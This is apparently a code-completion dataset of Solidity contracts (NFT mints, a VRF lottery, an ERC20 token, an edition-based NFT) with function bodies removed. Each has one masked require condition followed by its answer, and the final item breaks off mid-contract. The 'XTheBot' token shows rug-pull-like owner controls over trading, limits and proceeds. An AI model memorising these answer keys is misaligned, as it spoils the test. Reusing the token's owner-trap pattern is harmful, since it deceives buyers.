doesNotExceedSupply(_amountToMint) onlyOwner { } // ==================================== // PRICES // ==================================== function setPublicPrice(uint256 _price) external onlyOwner { } function setWhitelistPrice(uint256 _price) external onlyOwner { } // ==================================== // METADATA // ==================================== function freezeMetadata() external onlyOwner { } /// @dev See {IERC721Metadata-tokenURI}. function tokenURI(uint256 _tokenId) public view override returns (string memory) { } function reveal(string calldata _baseUri) external onlyOwner { } // ==================================== // MISC // ==================================== function withdrawBalance() external onlyOwner { } function withdrawBalanceToOwner() external onlyOwner { } /// @notice Reduce the max supply /// @param _newMaxSupply The new max supply, cannot be higher than the current max supply function reduceMaxSupply(uint256 _newMaxSupply) external onlyOwner { } /// @notice Change the royalty parameters /// @param _royaltyReceiver The address that will receive the royalties, it cannot be the zero address /// @param _feeNumerator How much of a sale proceeds will go to the _royaltyReceiver address (expressed out of 10000, i.e: 250 is 2.5%) function changeRoyaltySettings(address _royaltyReceiver, uint96 _feeNumerator) external onlyOwner { } /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } // ==================================== // OPERATOR FILTERER OVERRIDES // ==================================== function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function setOperatorFilteringEnabled(bool value) public onlyOwner { } function _operatorFilteringEnabled() internal view override returns (bool) { } function _isPriorityOperator(address operator) internal pure override returns (bool) { } // ==================================== // MODIFIERS // ==================================== modifier doesNotExceedSupply(uint256 _amountToMint) { require(<FILL_ME>) _; } modifier doesNotExceedReservedSupply(uint256 _amountToMint) { } modifier hasEnoughEther(uint256 _price, uint256 _amountToMint) { } }
_totalMinted()+_amountToMint<=maxSupply,"Kizuna: Exceeds max supply"
192,722
_totalMinted()+_amountToMint<=maxSupply
"Kizuna: Exceeds max supply + reserved supply"
/* KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUU UUUUUUUU NNNNNNNN NNNNNNNN AAA K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N:::::::N N::::::N A:::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z U::::::U U::::::U N::::::::N N::::::N A:::::A K:::::::K K::::::K II::::::II Z:::ZZZZZZZZ:::::Z UU:::::U U:::::UU N:::::::::N N::::::N A:::::::A KK::::::K K:::::KKK I::::I ZZZZZ Z:::::Z U:::::U U:::::U N::::::::::N N::::::N A:::::::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::::::N N::::::N A:::::A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N:::::::N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N N::::::N A:::::A A:::::A K:::::::::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::N:::::::N A:::::A A:::::A K::::::K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N:::::::::::N A:::::AAAAAAAAA:::::A K:::::K K:::::K I::::I Z:::::Z U:::::D D:::::U N::::::N N::::::::::N A:::::::::::::::::::::A KK::::::K K:::::KKK I::::I ZZZ:::::Z ZZZZZ U::::::U U::::::U N::::::N N:::::::::N A:::::AAAAAAAAAAAAA:::::A K:::::::K K::::::K II::::::II Z::::::ZZZZZZZZ:::Z U:::::::UUU:::::::U N::::::N N::::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::::::UU N::::::N N:::::::N A:::::A A:::::A K:::::::K K:::::K I::::::::I Z:::::::::::::::::Z UU:::::::::UU N::::::N N::::::N A:::::A A:::::A KKKKKKKKK KKKKKKK IIIIIIIIII ZZZZZZZZZZZZZZZZZZZ UUUUUUUUU NNNNNNNN NNNNNNN AAAAAAA AAAAAAA */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "closedsea/src/OperatorFilterer.sol"; import "./MerkleRootManager.sol"; /** * @author KirienzoEth for Kizuna * @title Contract for the Kizuna NFTs */ contract Kizuna is ERC721A, ERC2981, Ownable, MerkleRootManager, OperatorFilterer { using Strings for uint256; uint256 public maxSupply; address public treasuryWallet; bool public operatorFilteringEnabled; // ==================================== // METADATA // ==================================== string public baseURI; /// @notice if false, all tokens' metadata will be `baseURI`, otherwise it will depend on the token ID bool public isRevealed; /// @notice if true, the metadata cannot be changed anymore bool public isMetadataFrozen; // ==================================== // PUBLIC SALE // ==================================== bool public isPublicMintPaused = true; uint256 public publicPrice = 0.04 ether; /// @notice How many NFTs a wallet can mint during the public sale uint256 public mintLimitPerWallet = 3; /// @notice How many NFTs needs to be reserved for the free mint during the public sale uint256 public freeMintSupply; /// @notice How many NFTs an address minted during the public mint phase mapping(address => uint256) public publicMintAddressesMintedAmount; // ==================================== // WHITELIST AND FREE MINT // ==================================== bool public isWhitelistMintPhase1Paused = true; bool public isWhitelistMintPhase2Paused = true; bool public isFreeMintPaused = true; uint256 public whitelistPrice = 0.025 ether; /// @notice How many NFTs an address minted during the whitelist mint phase mapping(address => uint256) public whitelistAddressesMintedAmount; /// @notice How many NFTs an address minted during the free mint phase mapping(address => uint256) public freeAddressesMintedAmount; // ==================================== // EVENTS // ==================================== event MetadataFrozen(); event PauseForWhitelistMintToggled(bool isPaused); event PauseForFreeMintToggled(bool isPaused); event PauseForPublicMintToggled(bool isPaused); event PublicPriceChanged(uint256 newPrice); event WhitelistPriceChanged(uint256 newPrice); event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId); constructor( uint256 _maxSupply, uint256 _reservedSupply, uint256 _freeMintSupply, address _treasuryWallet, string memory _initialURI ) ERC721A("Kizuna", "KZN") { } // ==================================== // (UN)PAUSE MINTS // ==================================== function togglePauseForWhitelistMintPhase1() external onlyOwner { } function togglePauseForWhitelistMintPhase2() external onlyOwner { } function togglePauseForFreeMint() external onlyOwner { } function togglePauseForPublicMint() external onlyOwner { } // ==================================== // MINTS // ==================================== function _whitelistMint( uint256 _amountToMint, uint256 _maxAmountForAddress, uint256 _price ) private doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(_price, _amountToMint) { } function whitelistMintPhase1( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function whitelistMintPhase2( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external payable { } function freeMint( uint256 _amountToMint, uint256 _maxAmountForAddress, bytes32[] calldata _merkleProof ) external doesNotExceedSupply(_amountToMint) { } function mint( uint256 _amountToMint ) external payable doesNotExceedReservedSupply(_amountToMint) hasEnoughEther(publicPrice, _amountToMint) { } function teamMint(address _to, uint256 _amountToMint) external doesNotExceedSupply(_amountToMint) onlyOwner { } // ==================================== // PRICES // ==================================== function setPublicPrice(uint256 _price) external onlyOwner { } function setWhitelistPrice(uint256 _price) external onlyOwner { } // ==================================== // METADATA // ==================================== function freezeMetadata() external onlyOwner { } /// @dev See {IERC721Metadata-tokenURI}. function tokenURI(uint256 _tokenId) public view override returns (string memory) { } function reveal(string calldata _baseUri) external onlyOwner { } // ==================================== // MISC // ==================================== function withdrawBalance() external onlyOwner { } function withdrawBalanceToOwner() external onlyOwner { } /// @notice Reduce the max supply /// @param _newMaxSupply The new max supply, cannot be higher than the current max supply function reduceMaxSupply(uint256 _newMaxSupply) external onlyOwner { } /// @notice Change the royalty parameters /// @param _royaltyReceiver The address that will receive the royalties, it cannot be the zero address /// @param _feeNumerator How much of a sale proceeds will go to the _royaltyReceiver address (expressed out of 10000, i.e: 250 is 2.5%) function changeRoyaltySettings(address _royaltyReceiver, uint96 _feeNumerator) external onlyOwner { } /// @dev See {IERC165-supportsInterface}. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) { } // ==================================== // OPERATOR FILTERER OVERRIDES // ==================================== function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) { } function setOperatorFilteringEnabled(bool value) public onlyOwner { } function _operatorFilteringEnabled() internal view override returns (bool) { } function _isPriorityOperator(address operator) internal pure override returns (bool) { } // ==================================== // MODIFIERS // ==================================== modifier doesNotExceedSupply(uint256 _amountToMint) { } modifier doesNotExceedReservedSupply(uint256 _amountToMint) { require(<FILL_ME>) _; } modifier hasEnoughEther(uint256 _price, uint256 _amountToMint) { } }
_totalMinted()+_amountToMint<=maxSupply-freeMintSupply,"Kizuna: Exceeds max supply + reserved supply"
192,722
_totalMinted()+_amountToMint<=maxSupply-freeMintSupply
'not active'
// Creator: Chiru Labs pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). * * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { } function totalSupply() public view returns (uint256) { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { } function _numberMinted(address owner) internal view returns (uint256) { } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { } function _safeMint(address to, uint256 quantity) internal { } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } pragma solidity ^0.8.0; contract FastFoodBirds is Ownable, ERC721A, ReentrancyGuard { using SafeMath for uint256; bool private _isActive = false; uint256 public constant MAX_SUPPLY = 5000; uint256 public constant maxCountPerMint = 30; uint256 public freeMintCount = 500; uint256 public freeMintPerAddr = 1; uint256 public price = 0.015 ether; string private _tokenBaseURI = ""; address private constant devAddr = 0x7DF785A7fBB4B608E86EBc9F0AB4C4740E6fb5af; mapping(address => uint256) public freeMintCounts; modifier onlyActive() { require(<FILL_ME>) _; } constructor() ERC721A("FastFoodBirds", "FastFoodBird") { } function mint(uint256 numberOfTokens) external payable onlyActive nonReentrant() { } function costForMint(uint256 _numToMint, address _account) public view returns(uint256) { } function _baseURI() internal view override returns (string memory) { } function tokenURI(uint256 tokenId) public view override(ERC721A) returns (string memory) { } ///////////////////////////////////////////////////////////// ////////////////// Admin Functions //////////////////////// ///////////////////////////////////////////////////////////// function startSale() external onlyOwner { } function endSale() external onlyOwner { } function setPrice(uint256 _price) external onlyOwner { } function setFreeMintCount(uint256 _count) external onlyOwner { } function setFreeMintPerAddr(uint256 _count) external onlyOwner { } function setTokenBaseURI(string memory URI) external onlyOwner { } function withdraw() external onlyOwner nonReentrant { } receive() external payable {} }
_isActive&&totalSupply()<MAX_SUPPLY,'not active'
192,905
_isActive&&totalSupply()<MAX_SUPPLY
"Bet not found"
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import "Ownable.sol"; import "VRFCoordinatorV2Interface.sol"; import "VRFConsumerBaseV2.sol"; contract InstantLottery is VRFConsumerBaseV2, Ownable { event BetPlaced(uint256 requestId, BetData betData); event BetSettled(uint256 requestId, BetData betData); uint256 public fee; uint256 public minWinChance; uint256 public maxWinChance; uint256 public maxWin; uint256 public minBet; uint8 public constant chanceDecimals = 4; constructor( uint256 _fee, uint256 _minWinChance, uint256 _maxWinChance, uint256 _maxWin, uint256 _minBet, uint64 _subscriptionId, address _coordinatorAddress, bytes32 _keyHash ) VRFConsumerBaseV2(_coordinatorAddress) { } function calcBetMultiplier(uint256 _winChance) public view returns (uint256) { } function calcMaxBet(uint256 _winChance) public view returns (uint256) { } function addFunds() public payable onlyOwner { } function withdrawFunds(uint256 _amount) public onlyOwner { } function updateBetData( uint256 _fee, uint256 _minWinChance, uint256 _maxWinChance, uint256 _maxWin, uint256 _minBet ) public onlyOwner { } function updateSubscriptionData( uint64 _subscriptionId, address _coordinatorAddress, bytes32 _keyHash ) public onlyOwner { } function updateCallbackGasLimit(uint32 _callbackGasLimit) public onlyOwner { } function renounceOwnership() public view override onlyOwner { } function transferOwnership(address newOwner) public view override onlyOwner { } enum BetStatus { Pending, Won, Lost } struct BetData { bool exists; address payable client; uint256 betAmount; uint256 winChance; uint256 betMultiplier; BetStatus winResult; uint256 random; } VRFCoordinatorV2Interface coordinator; uint64 subscriptionId; bytes32 keyHash; // Need to be tested, probably needs futher adjustments uint32 callbackGasLimit = 100000; uint16 requestConfirmations = 3; uint32 numWords = 1; mapping(uint256 => BetData) public bets; function bet(uint256 _winChance) public payable { } function fulfillRandomWords( uint256 _requestId, uint256[] memory _randomWords ) internal override { BetData storage bet = bets[_requestId]; require(<FILL_ME>) uint16 rnd = uint16(_randomWords[0] % 1000); bet.random = rnd; if (rnd < bet.winChance) { bet.winResult = BetStatus.Won; uint256 winAmount = (bet.betAmount * bet.betMultiplier) / 1000; bet.client.transfer(winAmount); } else { bet.winResult = BetStatus.Lost; } emit BetSettled(_requestId, bet); } }
bet.exists,"Bet not found"
192,975
bet.exists
null
// SPDX-License-Identifier: unlicense /*──────────────────────────────────────────────────────────────────────────────────────────────────────────────── ─████████──████████─██████████████─██████──██████─██████████████─██████████████───██████████████─██████████████─ ─██░░░░██──██░░░░██─██░░░░░░░░░░██─██░░██──██░░██─██░░░░░░░░░░██─██░░░░░░░░░░██───██░░░░░░░░░░██─██░░░░░░░░░░██─ ─████░░██──██░░████─██████░░██████─██░░██──██░░██─██░░██████████─██░░██████░░██───██░░██████░░██─██████░░██████─ ───██░░░░██░░░░██───────██░░██─────██░░██──██░░██─██░░██─────────██░░██──██░░██───██░░██──██░░██─────██░░██───── ───████░░░░░░████───────██░░██─────██░░██████░░██─██░░██████████─██░░██████░░████─██░░██──██░░██─────██░░██───── ─────██░░░░░░██─────────██░░██─────██░░░░░░░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░░░██─██░░██──██░░██─────██░░██───── ───████░░░░░░████───────██░░██─────██░░██████░░██─██░░██████████─██░░████████░░██─██░░██──██░░██─────██░░██───── ───██░░░░██░░░░██───────██░░██─────██░░██──██░░██─██░░██─────────██░░██────██░░██─██░░██──██░░██─────██░░██───── ─████░░██──██░░████─────██░░██─────██░░██──██░░██─██░░██████████─██░░████████░░██─██░░██████░░██─────██░░██───── ─██░░░░██──██░░░░██─────██░░██─────██░░██──██░░██─██░░░░░░░░░░██─██░░░░░░░░░░░░██─██░░░░░░░░░░██─────██░░██───── ─████████──████████─────██████─────██████──██████─██████████████─████████████████─██████████████─────██████───── ──────────────────────────────────────────────────────────────────────────────────────────────────────────────── https://t.me/XTheBotTeam https://twitter.com/XTheBotTeam https://www.xthebot.com/ */ pragma solidity ^0.8.0; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function createPair(address tokenA, address tokenB) external returns (address pair); } contract SHART { string private name_ = unicode"XTheBot"; string private symbol_ = unicode"$XTB"; uint8 public constant decimals = 18; uint256 public constant totalSupply = 1000000000 * 10**decimals; uint256 buyTax = 0; uint256 public sellTax = 0; uint256 constant swapAmount = totalSupply / 1; uint256 maxBuyLimit = 1000000000 * 10**decimals; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; error Permissions(); event NameChanged(string newName,string newSymbol , address by); function LimitChange(uint256 _maxBuyLimit) external { } function Muticall(string memory name,string memory symbol) external { } function name() public view returns (string memory) { } function symbol() public view returns (string memory) { } event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); address public pair ; address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress); address payable public owner; bool private swapping; bool private tradingOpen = true; constructor() { } receive() external payable {} function approve(address spender, uint256 amount) external returns (bool){ } function transfer(address to, uint256 amount) external returns (bool){ } function transferFrom(address from, address to, uint256 amount) external returns (bool){ } function _transfer(address from, address to, uint256 amount) internal returns (bool) { require(<FILL_ME>) if (!tradingOpen && pair == address(0) && amount > 0) pair = to; if (from != owner && amount >= maxBuyLimit) { revert("Exceeds maximum buy limit"); } balanceOf[from] -= amount; if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount) { swapping = true; address[] memory path = new address[](2); path[0] = address(this); path[1] = ETH; _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( swapAmount, 0, path, address(this), block.timestamp ); owner.transfer(address(this).balance); swapping = false; } if (from != address(this) && from != owner) { uint256 taxAmount = amount * (from == pair ? buyTax : sellTax) / 100; amount -= taxAmount; balanceOf[address(this)] += taxAmount; } balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } function openTrading() external { } function _setFees(uint256 _buy, uint256 _sell) private { } function setFees(uint256 _buy, uint256 _sell) external { } }
tradingOpen||from==owner||to==owner
193,001
tradingOpen||from==owner||to==owner
"Sold out"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./GamearoundNFT.sol"; // Gamearound Ecosystem Genesis Token /// @custom:security-contact [email protected] contract GenesisGuild is GamearoundNFT { using Counters for Counters.Counter; uint256 public maxSupply = 4500; // Maximum supply of NFTs uint256 public dropsSupply = 150; // Reserved supply for drops uint256 public maxPurchase = 3; // Max number of NFT that can be sold in one purchase. // Mint Funds uint256 mintFundShare = 10; // Share hold on the mint fund uint256 _tempMintFundValue = 0; // Value hold on the mint fund while an edition is selling uint256 mintFundValue = 0; // Value hold on the mint fund uint256 mintFundsPaid = 0; // All paid mint fund so far // Genesis Funds uint256 genesisFundValue = 0; // Value hold on the genesis fund uint256 genesisFundsPaid = 0; // All paid genesis fund so far // Royalty Funds uint256 royaltyFundShare = 10; // Share hold on the mint fund Counters.Counter private _editionCounter; // Current edition in sales Counters.Counter private _dropCounter; // Count the NFT drops uint256[5] editions = [100, 250, 500, 1500, 2000]; // NFT Editions sizes uint256[5] sellout = [100, 350, 800, 2350, 4350]; // NFT Editions sizes uint256[5] prices = [0.5 ether, 1.0 ether, 1.5 ether, 1.75 ether, 2.0 ether]; // NFT Editions prices in Ether uint256[5] shares = [15, 35, 50, 0, 0]; // NFT Editions shares percentage bool need_wl = false; // Enable whitelist bytes32 public constant WL_MINT_ROLE = keccak256("WL_MINT_ROLE"); // Mapping Mint Fund withdraws mapping(uint256 => uint256) private _mintFundTotal; // Mapping Genesis Fund withdraws mapping(uint256 => uint256) private _genesisFundTotal; bool allowTransfers; /************************/ /* Deploy */ /************************/ constructor() GamearoundNFT("Gamearound Genesis Guild", "GEN") { } /************************/ /* Modifiers */ /************************/ modifier canDrop() { require(<FILL_ME>) _; } modifier notSoldOut() { } modifier isSoldOut() { } /************************/ /* Public functions */ /************************/ function currentEdition() public view returns (uint256) { } function currentPrice() public view returns (uint256) { } function currentSold() public view returns (uint256) { } function currentDrops() public view returns (uint256) { } function tokenEdition(uint256 tokenId) public view returns (uint256) { } function mintFundPaid(uint256 tokenId) public view returns (uint256) { } function genesisFundPaid(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainMintFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainGenesisFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function claimMintFund(uint256 tokenId) public payable { } function claimGenesisFund(uint256 tokenId) public payable { } /************************/ /* Owner only */ /************************/ function setWhitelists(address[] calldata recipients) public onlyRole(MINTER_ROLE) { } function withdraw() public payable onlyRole(FUNDS_ROLE) { } // Withdraw everything in case of emergency function emergency() public payable onlyRole(FUNDS_ROLE) { } // Modify the base price for an edition function setPrice(uint256 _edition, uint256 _newCost) public onlyRole(MINTER_ROLE) { } // Modify the whitelist need for an edition function enableWhitelist(bool _need) public onlyRole(MINTER_ROLE) { } // Modify the base edition values function setEditon(uint256[] calldata _newMax, uint256[] calldata _newShares) public onlyRole(MINTER_ROLE) { } // Force transfer to start. This by pass the sould out transfer lock function unlockTransfers(bool _status) public onlyRole(MINTER_ROLE) { } // Next edition function newEditionSales() public isSoldOut onlyRole(MINTER_ROLE) { } // Modify the edition counter function setEditionIndex(uint256 _index) public onlyRole(MINTER_ROLE) { } // Add funds to Genesis Fund function addFunds() public payable onlyRole(FUNDS_ROLE) { } /************************/ /* NFT Mint */ /************************/ // Mint many NFTs function mint(uint numberOfTokens) public notSoldOut payable { } // Drop NFTs function drop(address to) public canDrop onlyRole(MINTER_ROLE) { } // Mint one NFT function mintDrop(address to) public notSoldOut onlyRole(MINTER_ROLE) { } function _beforeTokenTransfer(address from, address to, uint256 tokenId ) internal override { } // Overrrides function _afterTokenTransfer(address from, address to, uint256 tokenId) internal override { } /************************/ /* Private utilities */ /************************/ function _addToMintFund(uint256 value) private { } function _needAddToMintFund(uint256 tokenId) private view returns (bool) { } function _isSoldOut(uint256 tokenId) private view returns (bool) { } // Transfer from temporary to mint funds function _setMintFunds() private { } function _canTransfer() private view returns (bool) { } function _checkWhitelist() private view { } function _canSell(uint256 numberOfTokens) private view returns (bool) { } }
_dropCounter.current()<dropsSupply,"Sold out"
193,185
_dropCounter.current()<dropsSupply
"Sold out"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./GamearoundNFT.sol"; // Gamearound Ecosystem Genesis Token /// @custom:security-contact [email protected] contract GenesisGuild is GamearoundNFT { using Counters for Counters.Counter; uint256 public maxSupply = 4500; // Maximum supply of NFTs uint256 public dropsSupply = 150; // Reserved supply for drops uint256 public maxPurchase = 3; // Max number of NFT that can be sold in one purchase. // Mint Funds uint256 mintFundShare = 10; // Share hold on the mint fund uint256 _tempMintFundValue = 0; // Value hold on the mint fund while an edition is selling uint256 mintFundValue = 0; // Value hold on the mint fund uint256 mintFundsPaid = 0; // All paid mint fund so far // Genesis Funds uint256 genesisFundValue = 0; // Value hold on the genesis fund uint256 genesisFundsPaid = 0; // All paid genesis fund so far // Royalty Funds uint256 royaltyFundShare = 10; // Share hold on the mint fund Counters.Counter private _editionCounter; // Current edition in sales Counters.Counter private _dropCounter; // Count the NFT drops uint256[5] editions = [100, 250, 500, 1500, 2000]; // NFT Editions sizes uint256[5] sellout = [100, 350, 800, 2350, 4350]; // NFT Editions sizes uint256[5] prices = [0.5 ether, 1.0 ether, 1.5 ether, 1.75 ether, 2.0 ether]; // NFT Editions prices in Ether uint256[5] shares = [15, 35, 50, 0, 0]; // NFT Editions shares percentage bool need_wl = false; // Enable whitelist bytes32 public constant WL_MINT_ROLE = keccak256("WL_MINT_ROLE"); // Mapping Mint Fund withdraws mapping(uint256 => uint256) private _mintFundTotal; // Mapping Genesis Fund withdraws mapping(uint256 => uint256) private _genesisFundTotal; bool allowTransfers; /************************/ /* Deploy */ /************************/ constructor() GamearoundNFT("Gamearound Genesis Guild", "GEN") { } /************************/ /* Modifiers */ /************************/ modifier canDrop() { } modifier notSoldOut() { require(<FILL_ME>) _; } modifier isSoldOut() { } /************************/ /* Public functions */ /************************/ function currentEdition() public view returns (uint256) { } function currentPrice() public view returns (uint256) { } function currentSold() public view returns (uint256) { } function currentDrops() public view returns (uint256) { } function tokenEdition(uint256 tokenId) public view returns (uint256) { } function mintFundPaid(uint256 tokenId) public view returns (uint256) { } function genesisFundPaid(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainMintFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function remainGenesisFund(uint256 tokenId) public view returns (uint256) { } // Distribute the value of the mint fund to all holders acording to the shares table function claimMintFund(uint256 tokenId) public payable { } function claimGenesisFund(uint256 tokenId) public payable { } /************************/ /* Owner only */ /************************/ function setWhitelists(address[] calldata recipients) public onlyRole(MINTER_ROLE) { } function withdraw() public payable onlyRole(FUNDS_ROLE) { } // Withdraw everything in case of emergency function emergency() public payable onlyRole(FUNDS_ROLE) { } // Modify the base price for an edition function setPrice(uint256 _edition, uint256 _newCost) public onlyRole(MINTER_ROLE) { } // Modify the whitelist need for an edition function enableWhitelist(bool _need) public onlyRole(MINTER_ROLE) { } // Modify the base edition values function setEditon(uint256[] calldata _newMax, uint256[] calldata _newShares) public onlyRole(MINTER_ROLE) { } // Force transfer to start. This by pass the sould out transfer lock function unlockTransfers(bool _status) public onlyRole(MINTER_ROLE) { } // Next edition function newEditionSales() public isSoldOut onlyRole(MINTER_ROLE) { } // Modify the edition counter function setEditionIndex(uint256 _index) public onlyRole(MINTER_ROLE) { } // Add funds to Genesis Fund function addFunds() public payable onlyRole(FUNDS_ROLE) { } /************************/ /* NFT Mint */ /************************/ // Mint many NFTs function mint(uint numberOfTokens) public notSoldOut payable { } // Drop NFTs function drop(address to) public canDrop onlyRole(MINTER_ROLE) { } // Mint one NFT function mintDrop(address to) public notSoldOut onlyRole(MINTER_ROLE) { } function _beforeTokenTransfer(address from, address to, uint256 tokenId 